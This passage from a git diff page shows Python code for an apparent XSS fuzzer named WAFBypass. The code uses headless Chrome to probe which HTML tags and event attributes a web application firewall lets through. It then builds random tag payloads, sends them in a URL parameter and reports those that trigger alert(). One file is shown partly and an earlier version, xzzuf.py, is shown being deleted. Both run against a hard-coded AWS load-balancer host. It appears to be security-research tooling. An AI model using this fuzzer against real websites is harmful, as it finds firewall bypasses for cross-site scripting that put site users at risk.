|             for _ in range(0, nattr): | ||||
|                 if len(tag_specific) == 0: | ||||
|                     break | ||||
|                 attr = choice(tag_specific) | ||||
|                 tag_specific.remove(attr) | ||||
|                 # make a copy of attr to avoid mutating the original | ||||
|                 attr = HTMLAttribute(attr.name, attr.kind, | ||||
|                                      glob=False, root=None) | ||||
|                 tag.add_attribute(attr) | ||||
| 
 | ||||
|             addchildren = { | ||||
|                 70: lambda: False, | ||||
|                 30: lambda: True | ||||
|             } | ||||
| 
 | ||||
|             should_add = choice_percent(addchildren) | ||||
| 
 | ||||
|             if (should_add()): | ||||
|                 tag.children.append(self.get_tag()) | ||||
| 
 | ||||
|             return tag | ||||
|         except KeyboardInterrupt: | ||||
|             return None | ||||
| 
 | ||||
|     def fuzz_thread(self, driver: webdriver.Chrome, started): | ||||
|         driver.execute_cdp_cmd( | ||||
|             "Page.addScriptToEvaluateOnNewDocument", {"source": self.code}) | ||||
| 
 | ||||
|         while not started: | ||||
|             time.sleep(0.1) | ||||
|             pass | ||||
| 
 | ||||
|         while True: | ||||
|             element = self.queue.pop() | ||||
|             if not element: | ||||
|                 break | ||||
|             encoded = urlencode({self.param: f"{element}"}) | ||||
|             url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" | ||||
|             is403, triggered = self.navigate(driver, url) | ||||
| 
 | ||||
|         # close window | ||||
|         driver.close() | ||||
| 
 | ||||
|     def get_tag_id(self, tag): | ||||
|         tag_ids = [] | ||||
|         tag_ids.append(tag.id) | ||||
|         if len(tag.children) >= 0: | ||||
|             for child in tag.children: | ||||
|                 tag_ids.extend(self.get_tag_id(child)) | ||||
| 
 | ||||
|         return tag_ids | ||||
| 
 | ||||
|     def get_tag_name(self, tag): | ||||
|         tag_names = [] | ||||
|         tag_names.append(tag.nameattr) | ||||
|         if len(tag.children) >= 0: | ||||
|             for child in tag.children: | ||||
|                 tag_names.extend(self.get_tag_name(child)) | ||||
| 
 | ||||
|         return tag_names | ||||
| 
 | ||||
|     def get_ids(self, tags): | ||||
|         tag_ids = [] | ||||
|         for tag in tags: | ||||
|             tag_ids.extend(self.get_tag_id(tag)) | ||||
|         return tag_ids | ||||
| 
 | ||||
|     def get_names(self, tags): | ||||
|         tag_names = [] | ||||
|         for tag in tags: | ||||
|             tag_names.extend(self.get_tag_name(tag)) | ||||
|         return tag_names | ||||
| 
 | ||||
|     def populate_ids_names(self, tags): | ||||
|         ids = self.get_ids(tags) | ||||
|         names = self.get_names(tags) | ||||
| 
 | ||||
|         def populate(tag, ids=ids, names=names): | ||||
|             tag.ids = ids | ||||
|             tag.names = names | ||||
|             for child in tag.children: | ||||
|                 populate(child) | ||||
| 
 | ||||
|         for tag in tags: | ||||
|             populate(tag) | ||||
| 
 | ||||
|     def test(self): | ||||
|         try: | ||||
|             self.dry_run() | ||||
| 
 | ||||
|             print("Starting fuzzer") | ||||
| 
 | ||||
|             while True: | ||||
|                 tags = [self.get_tag() for _ in range(0, choice(range(1, 3)))] | ||||
|                 self.populate_ids_names(tags) | ||||
|                 payload = TagList(tags) | ||||
|                 encoded = urlencode({self.param: f"{payload}"}) | ||||
|                 url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" | ||||
|                 is403, triggered = self.navigate(self.driver, url) | ||||
|                 if triggered: | ||||
|                     print(f"XSS Payload: {payload}") | ||||
|                 self.driver.execute_script( | ||||
|                     self.trigger.format(self.get_ids(tags))) | ||||
|                 triggered = self.triggered_xss | ||||
|                 if triggered: | ||||
|                     print(f"XSS Payload: {payload}") | ||||
| 
 | ||||
|         except KeyboardInterrupt: | ||||
|             print("Stopping fuzzer") | ||||
|             self.driver.close() | ||||
|             return | ||||
| 
 | ||||
| 
 | ||||
| w = WAFBypass( | ||||
|     "http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com", "param2") | ||||
| w.test() | ||||
							
								
								
									
										181
									
								
								xzzuf.py
									
									
									
									
									
								
							
							
						
						
									
										181
									
								
								xzzuf.py
									
									
									
									
									
								
							| @ -1,181 +0,0 @@ | ||||
| from urllib.parse import unquote | ||||
| import selenium | ||||
| import time | ||||
| from selenium import webdriver | ||||
| from selenium.webdriver.support.ui import WebDriverWait | ||||
| from urllib.parse import urlparse | ||||
| from urllib.parse import urlencode | ||||
| from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType | ||||
| from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags | ||||
| from mutations import Mutations | ||||
| from utils import choice | ||||
| 
 | ||||
| # WAFBypass class | ||||
| 
 | ||||
| 
 | ||||
| class WAFBypass(): | ||||
|     code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}" | ||||
| 
 | ||||
|     def __init__(self, url) -> None: | ||||
|         self.options = webdriver.ChromeOptions() | ||||
|         self.options.add_argument('--no-sandbox') | ||||
|         self.options.add_argument('--headless') | ||||
|         self.unfiltered_attributes = {} | ||||
|         self.unfiltered_tags = [] | ||||
|         self.driver = webdriver.Chrome(options=self.options) | ||||
|         self.url = urlparse(url) | ||||
|         self.mutator = Mutations() | ||||
| 
 | ||||
|         if not self.check_connection(): | ||||
|             raise Exception("Connection Error") | ||||
| 
 | ||||
|         self.driver.execute_cdp_cmd( | ||||
|             "Page.addScriptToEvaluateOnNewDocument", {"source": self.code}) | ||||
| 
 | ||||
|     def check_connection(self): | ||||
|         try: | ||||
|             self.driver.get(self.url.geturl()) | ||||
|             return True | ||||
|         except: | ||||
|             return False | ||||
| 
 | ||||
|     def wait_for_pageload(self): | ||||
|         try: | ||||
|             WebDriverWait(self.driver, 4).until( | ||||
|                 lambda driver: driver.execute_script("return document.readyState") == "complete") | ||||
|         except TimeoutError: | ||||
|             raise Exception("Page Load Error") | ||||
| 
 | ||||
|     def get_page_title(self): | ||||
|         return self.driver.title | ||||
| 
 | ||||
|     @property | ||||
|     def is_403(self): | ||||
|         return self.driver.title == "403 Forbidden" | ||||
| 
 | ||||
|     @property | ||||
|     def triggered_xss(self): | ||||
|         return self.driver.execute_script("return window.alert_trigger") | ||||
| 
 | ||||
|     def navigate(self, url): | ||||
|         self.driver.get(url) | ||||
|         self.wait_for_pageload() | ||||
| 
 | ||||
|         is403 = False | ||||
| 
 | ||||
|         if self.is_403: | ||||
|             is403 = True | ||||
|         else: | ||||
|             is403 = False | ||||
| 
 | ||||
|         triggerxss = self.triggered_xss | ||||
| 
 | ||||
|         return (is403, triggerxss) | ||||
| 
 | ||||
|     def identify_unfiltered_attributes(self): | ||||
|         try: | ||||
|             self.unfiltered_attributes["global"] = [] | ||||
|             self.unfiltered_attributes["events"] = [] | ||||
|             self.unfiltered_attributes["tag_specific"] = {} | ||||
| 
 | ||||
|             for attr in GlobalAttributes: | ||||
|                 encoded = urlencode({"param2": f"{attr}"}) | ||||
|                 url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" | ||||
|                 is403, _ = self.navigate(url) | ||||
|                 if not is403: | ||||
|                     self.unfiltered_attributes["global"].append(attr) | ||||
| 
 | ||||
|             for attr in EventsAttributes: | ||||
|                 encoded = urlencode({"param2": f"{attr}"}) | ||||
|                 url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" | ||||
|                 is403, _ = self.navigate(url) | ||||
|                 if not is403: | ||||
|                     self.unfiltered_attributes["events"].append(attr) | ||||
| 
 | ||||
|             for tag in self.unfiltered_tags: | ||||
|                 try: | ||||
|                     for attr in TagSpecificAttributes[tag.name]: | ||||
|                         if tag not in self.unfiltered_attributes["tag_specific"]: | ||||
|                             self.unfiltered_attributes["tag_specific"][tag.name] = [ | ||||
|                             ] | ||||
|                         encoded = urlencode( | ||||
|                             {"param2": f"<{tag.name} {attr}/>"}) | ||||
|                         url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" | ||||
|                         is403, _ = self.navigate(url) | ||||
|                         if not is403: | ||||
|                             self.unfiltered_attributes["tag_specific"][tag.name].append( | ||||
|                                 attr) | ||||
|                 except KeyError: | ||||
|                     print(f"Tag {tag.name} not found in TagSpecificAttributes") | ||||
|         except KeyboardInterrupt: | ||||
|             self.driver.close() | ||||
|             exit(0) | ||||
| 
 | ||||
|     def identify_unfiltered_tags(self): | ||||
|         try: | ||||
|             for tag in Tags: | ||||
|                 encoded = urlencode({"param2": f"{tag}"}) | ||||
|                 url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" | ||||
|                 is403, _ = self.navigate(url) | ||||
|                 if not is403: | ||||
|                     self.unfiltered_tags.append(tag) | ||||
|         except KeyboardInterrupt: | ||||
|             self.driver.close() | ||||
|             exit(0) | ||||
| 
 | ||||
|     def dry_run(self): | ||||
|         try: | ||||
|             self.identify_unfiltered_tags() | ||||
|             self.identify_unfiltered_attributes() | ||||
|             for tag in self.unfiltered_tags: | ||||
|                 tag.set_mutator(self.mutator) | ||||
|         except Exception as e: | ||||
|             raise Exception(f"Dry Run Error: {e}") | ||||
| 
 | ||||
|     def run_fuzz(self): | ||||
|         self.dry_run() | ||||
| 
 | ||||
|     def test(self): | ||||
|         try: | ||||
|             self.dry_run() | ||||
|             print("Unfiltered Tags:") | ||||
|             for tag in self.unfiltered_tags: | ||||
|                 print(tag.name) | ||||
|             for _ in range(0, 10): | ||||
|                 tag = choice(self.unfiltered_tags) | ||||
| 
 | ||||
|                 tag.attributes = [] | ||||
|                 tag.children = [] | ||||
| 
 | ||||
|                 nglobattr = choice(range(1, 3)) | ||||
|                 nattr = choice(range(0, 3)) | ||||
| 
 | ||||
|                 globals = self.unfiltered_attributes["global"] | ||||
| 
 | ||||
|                 for _ in range(0, nglobattr): | ||||
|                     if len(globals) == 0: | ||||
|                         break | ||||
|                     attr = choice(globals) | ||||
|                     globals.remove(attr) | ||||
|                     tag.add_attribute(attr) | ||||
| 
 | ||||
|                 tag.add_attribute(choice(self.unfiltered_attributes["events"])) | ||||
| 
 | ||||
|                 tag_specific = self.unfiltered_attributes["tag_specific"][tag.name] | ||||
| 
 | ||||
|                 for _ in range(0, nattr): | ||||
|                     if len(tag_specific) == 0: | ||||
|                         break | ||||
|                     attr = choice(tag_specific) | ||||
|                     tag_specific.remove(attr) | ||||
|                     tag.add_attribute(attr) | ||||
| 
 | ||||
|                 print(tag) | ||||
| 
 | ||||
|         except KeyboardInterrupt: | ||||
|             self.driver.close() | ||||
|             exit(0) | ||||
| 
 | ||||
| 
 | ||||
| w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com") | ||||
| w.test() | ||||
		Loading…
	
		Reference in New Issue
	
	Block a user